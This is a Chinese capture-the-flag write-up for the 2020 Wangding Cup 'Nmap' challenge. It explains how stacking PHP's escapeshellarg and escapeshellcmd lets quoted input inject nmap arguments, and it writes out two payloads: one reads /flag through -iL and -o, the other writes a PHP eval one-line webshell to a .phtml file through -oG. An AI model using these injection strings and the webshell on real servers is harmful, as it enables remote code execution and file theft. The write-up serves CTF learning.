网鼎杯2020朱雀组-Nmap
Created At :
Count:1.8k
Views 👀 :
网鼎杯2020朱雀组-Nmap
两种解题方法:
第一种通过nmap的-iL参数读取扫描一个文件到指定文件中第二种是利用nmap的参数写入webshell
-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式
首先查看网页源代码,提示我们flag的存放位置在/flag
进入页面是一个NMAP工具的使用页面
先测试一下多条命令执行
1 2 3 4
| 127.0.0.1 ; ls
发现变成了 127.0.0.1 \; ls
|
;被转义了
那么我们可以通过以下知识点写入webshell,或将flag读入指定文件在读取指定文件内容即可
第一种解法 将flag写到指定文件
1 2 3 4 5 6 7 8 9 10
| 127.0.0.1' -iL /flag -o haha 经过escapeshellarg函数后 '127.0.0.1'\'' -iL /flag -o haha'(将单引号转义并用一对单引号包裹起来,再将这个语句用单引号包裹起来确保只有一个参数) 经过escapeshellcmd函数后 '127.0.0.1'\\'' -iL /flag -o haha\' 对\转义,在许多编程语言中,反斜杠被用作转义字符,用来表示特殊字符或序列。这里面两个相邻的反斜杠\表示一个单独的反斜杠字符,没有转义作用。而末尾单引号转义过后的普通字符仍然是它本身,没有变化,会被视为普通字符不具有单引号的作用了 这样就分为了三部分'127.0.0.1'和''连接空白和-iL /flag -o haha'(最后这个单引号只有一个不起作用,但它将最后的文件名变为了haha') nmap既可扫描前面的ip,又能执行-iL /flag -o haha'
ip中输入,因为'127.0.0.1'\\执行的时候会被简化为127.0.0.1\,这个ip就错了,但是不用管报错,只要后面命令执行了我们就能访问到
|
文件名变成了haha’,直接访问即可拿到flag
第二种解法 利用nmap参数-oG写一句话木马
1 2 3 4 5 6 7 8 9 10
| 127.0.0.1 | <?=@eval($_POST[1]);> -oG shell.php
发现被过滤了 换成phtml试试 127.0.0.1 | <?=@eval($_POST[1]);> -oG shell.phtml
构造payload: 127.0.0.1 | ' <?=@eval($_POST["cmd"]);?> -oG shell.phtml '
127.0.0.1 | '<?=@eval($_REQUEST['cmd']);?>' -oG attack.phtml
|
成功
知识点
nmap
常用参数
1 2 3 4 5
| nmap -iL <目标文件>`:从文件中读取IP地址列表进行扫描
nmap -oN <输出文件> <目标IP>`:将扫描结果以普通文本格式保存到文件中
nmap <?=@eval($_POST[1]);> -oG shell.php 将一句话木马写入到文件中
|
nmap:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| Nmap(Network Mapper)是一款功能强大的网络扫描工具,它能够帮助用户发现网络上的设备、开放的端口以及运行的服务。以下是一些Nmap的常见命令及其用途:
基本扫描 nmap <目标IP>:对指定IP地址进行快速扫描,默认扫描100个常用端口。 nmap -p <端口范围> <目标IP>:扫描指定IP地址的特定端口范围。 详细扫描 nmap -sV <目标IP>:探测目标主机上运行的服务的版本信息。 nmap -O <目标IP>:尝试检测目标主机的操作系统类型。 nmap -A <目标IP>:进行高级扫描,包括操作系统检测、版本检测、脚本扫描等。 扫描多个目标 nmap <目标IP1> <目标IP2> ...:依次扫描多个IP地址。 nmap -iL <目标文件>:从文件中读取IP地址列表进行扫描。 扫描整个子网 nmap <起始IP>-<结束IP>:扫描指定IP范围内的所有主机。 nmap <网络地址>/<子网掩码>:使用CIDR表示法扫描整个子网。 服务探测 nmap --script=<脚本名> <目标IP>:运行指定的Nmap脚本进行扫描。 nmap -sT <目标IP>(或-sU):进行TCP(或UDP)连接扫描。 nmap -sS <目标IP>:进行TCP SYN扫描(半开扫描),速度较快且不易被防火墙发现。 性能优化 nmap -T<0-5> <目标IP>:设置扫描的并行度,-T0为最慢但最隐蔽,-T5为最快但可能触发防火墙警报。 nmap --min-hostgroup=<数量>:设置一次扫描的主机组大小,以优化扫描速度。 结果输出 nmap -oN <输出文件> <目标IP>:将扫描结果以普通文本格式保存到文件中。 nmap -oX <输出文件> <目标IP>:将扫描结果以XML格式保存到文件中。 nmap -oG <输出文件> <目标IP>:将扫描结果以Grepable格式保存到文件中,便于后续处理。 其他选项 nmap --open <目标IP>:仅显示开放的端口。 nmap --host-timeout=<时间>:设置扫描每个主机的超时时间。 nmap --script-timeout=<时间>:设置运行脚本的超时时间。 nmap --osscan-limit:限制操作系统检测,以加快扫描速度。 nmap --osscan-guess:尝试猜测更具体的操作系统信息。
|
escapeshellarg和escapeshellcmd函数的绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| escapeshellarg() escapeshellarg() 函数用于确保一个字符串在作为命令行参数时安全。它会将单引号进行转义,并用一对单引号包裹整个字符串,确保该字符串被视为一个单独的参数。
原始输入:
$input = "127.0.0.1' -iL /flag -o wtj"; 经过 escapeshellarg() 处理后:
$safe_input = escapeshellarg($input); echo $safe_input; // 输出:'127.0.0.1'\'' -iL /flag -o wtj' 解释:
单引号 ' 被转义为 \',然后用一对单引号包裹整个字符串。 结果是一个合法的命令行参数,其中原始字符串被安全地引用。 escapeshellcmd() escapeshellcmd() 函数用于确保一个字符串在作为整个命令行时安全。它会转义一些特殊字符,比如 ;, &, (, ), |, <, >, ^, `, $, *, \, ", `, [, ], {, }, =, ?, 和 #,以及空格和制表符。
原始输入:
$input = "'127.0.0.1'\'' -iL /flag -o wtj'"; 注意:这里输入已经包含了一些转义的单引号,并且整个字符串被单引号包裹。
经过 escapeshellcmd() 处理后:
$safe_input = escapeshellcmd($input); echo $safe_input; // 输出:'127.0.0.1'\\'' -iL /flag -o wtj\' 解释:
单引号 ' 已经被转义为 \',但由于整个字符串已经处于单引号内,所以内部的 \' 被进一步转义为 \\'。 字符串末尾的单引号 ' 被转义为 \',因为 escapeshellcmd() 会处理字符串中的所有特殊字符。 结果是一个更安全的命令行字符串,但需要注意的是,这种处理方式可能会在某些情况下导致意外的行为,特别是当输入字符串已经包含转义字符时。
|
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。